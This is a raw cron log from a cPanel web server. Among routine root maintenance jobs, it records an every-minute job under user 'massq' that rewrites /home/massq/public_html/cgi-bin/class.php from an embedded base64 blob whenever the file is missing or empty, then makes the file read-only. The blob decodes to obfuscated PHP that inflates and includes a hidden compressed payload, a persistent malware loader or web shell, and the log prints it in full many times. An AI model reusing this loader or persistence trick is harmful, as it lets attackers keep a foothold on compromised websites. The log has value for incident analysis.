Nov 10 00:30:01 server CROND[8828]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:31:01 server CROND[9768]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:32:01 server CROND[10575]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:33:01 server CROND[11438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:34:01 server CROND[12275]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:35:01 server CROND[13235]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 00:35:01 server CROND[13236]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:35:01 server CROND[13239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:35:01 server CROND[13240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:35:01 server CROND[13238]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 10 00:36:01 server CROND[14091]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:37:01 server CROND[14898]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:38:01 server CROND[15736]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:39:01 server CROND[16545]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 00:39:01 server CROND[16547]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:40:01 server CROND[17301]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:40:01 server CROND[17302]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:40:01 server CROND[17303]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:40:01 server CROND[17305]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 00:41:01 server CROND[18184]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:42:01 server CROND[19105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:42:01 server CROND[19106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
